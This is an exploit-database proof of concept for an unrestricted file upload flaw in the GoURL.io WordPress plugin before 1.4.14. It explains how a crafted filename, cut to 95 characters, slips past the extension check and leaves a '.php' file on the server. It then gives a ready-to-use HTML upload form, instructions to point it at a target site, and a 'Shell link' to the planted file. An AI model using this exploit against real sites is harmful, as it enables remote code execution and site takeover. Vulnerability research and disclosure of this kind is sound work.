WordPress Plugin GoURL.io < 1.4.14 - File Upload

Author: Pouya Darabi
type: webapps
platform: php
port: 
date_added: 2019-08-28 
date_updated: 2019-08-28 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

<html>
    <!--

        GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi
        CWE-434

        Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637

        Details:

          After checking file extention substring was used for file name to select first 95 letter line #5655
          So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg"
          will upload a file with .php extention in website :)

    -->

<body>

    <!--

        Replace http://127.0.0.1/wp/ with target wordpress website
        Fill id param in form action to any active download product

    -->

    <form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data">

        <input type="file" name="gourlimage2" />
        <input type="submit"/>

    </form>

    <a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a>

</body>

</html>